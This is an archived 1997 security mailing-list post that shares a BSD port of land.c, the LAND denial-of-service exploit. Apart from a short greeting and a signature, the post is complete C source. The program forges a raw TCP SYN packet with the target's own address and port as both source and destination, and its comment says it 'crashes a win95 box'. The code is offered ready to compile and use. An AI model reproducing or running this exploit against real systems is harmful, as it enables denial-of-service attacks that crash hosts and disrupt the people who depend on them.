44BSD port of land.c

From: blast (blastat_private)
Date: Fri Nov 21 1997 - 10:58:39 PST

  • Next message: Aleph One: "Re: "LAND" Attack Update"

    For those of you who don't have all the "fancy" LINUX
    networking includes, here is a port to 44BSD flavors.
    Should compile fine on FreeBSD, NetBSD, OpenBSD, BSDi, etc.
    Enjoy.
    -blast
       %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
       \    Tim Keanini    |         "The limits of my language,            /
       /                   |         are the limits of my world."           \
       \ blastat_private  |         --Ludwig Wittgenstein                  /
       \                   +================================================/
       |Key fingerprint =  7B 68 88 41 A8 74 AB EC  F0 37 98 4C 37 F7 40 D6 |
       /    PUB KEY: http://www-swiss.ai.mit.edu/~bal/pks-commands.html     \
       %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
    
    
    /* land.c by m3lt, FLC
       crashes a win95 box
       Ported by blast and jerm to 44BSD*/
    
    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <netinet/ip_icmp.h>
    #include <ctype.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>
    #include <errno.h>
    
    
    /* #include <netinet/ip_tcp.h> */
    /* #include <netinet/protocols.h> */
    
    struct pseudohdr
    {
            struct in_addr saddr;
            struct in_addr daddr;
            u_char zero;
            u_char protocol;
            u_short length;
            struct tcphdr tcpheader;
    };
    
    u_short checksum(u_short * data,u_short length)
    {
            register long value;
            u_short i;
    
            for(i=0;i<(length>>1);i++)
                    value+=data[i];
    
            if((length&1)==1)
                    value+=(data[i]<<8);
    
            value=(value&65535)+(value>>16);
    
            return(~value);
    }
    
    int main(int argc,char * * argv)
    {
            struct sockaddr_in sin;
            struct hostent * hoste;
            int sock,foo;
            char buffer[40];
            struct ip * ipheader=(struct ip *) buffer;
            struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
            struct pseudohdr pseudoheader;
    
            fprintf(stderr,"land.c by m3lt mod by blast, FLC\n");
    
            if(argc<3)
            {
                    fprintf(stderr,"usage: %s IP port\n",argv[0]);
                    return(-1);
            }
    
            bzero(&sin,sizeof(struct sockaddr_in));
            sin.sin_family=AF_INET;
    
            if((hoste=gethostbyname(argv[1]))!=NULL)
                    bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
            else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
            {
                    fprintf(stderr,"unknown host %s\n",argv[1]);
                    return(-1);
            }
    
            if((sin.sin_port=htons(atoi(argv[2])))==0)
            {
                    fprintf(stderr,"unknown port %s\n",argv[2]);
                    return(-1);
            }
    
            if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
            {
                    fprintf(stderr,"couldn't allocate raw socket\n");
                    return(-1);
            }
    
            foo=1;
            if(setsockopt(sock,0,IP_HDRINCL,&foo,sizeof(int))==-1)
            {
                    fprintf(stderr,"couldn't set raw header on socket\n");
                    return(-1);
            }
    
            bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
            ipheader->ip_v=4;
            ipheader->ip_hl=sizeof(struct ip)/4;
            ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
            ipheader->ip_id=htons(0xF1C);
            ipheader->ip_ttl=255;
            ipheader->ip_p=IPPROTO_TCP;
            ipheader->ip_src=sin.sin_addr;
            ipheader->ip_dst=sin.sin_addr;
    
            tcpheader->th_sport=sin.sin_port;
            tcpheader->th_dport=sin.sin_port;
            tcpheader->th_seq=htonl(0xF1C);
            tcpheader->th_flags=TH_SYN;
            tcpheader->th_off=sizeof(struct tcphdr)/4;
            tcpheader->th_win=htons(2048);
    
            bzero(&pseudoheader,12+sizeof(struct tcphdr));
            pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
            pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
            pseudoheader.protocol=6;
            pseudoheader.length=htons(sizeof(struct tcphdr));
            bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
            tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
    
            if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
            {
                    fprintf(stderr,"couldn't send packet,%d\n",errno);
                    return(-1);
            }
    
            fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
    
            close(sock);
            return(0);
    }
    



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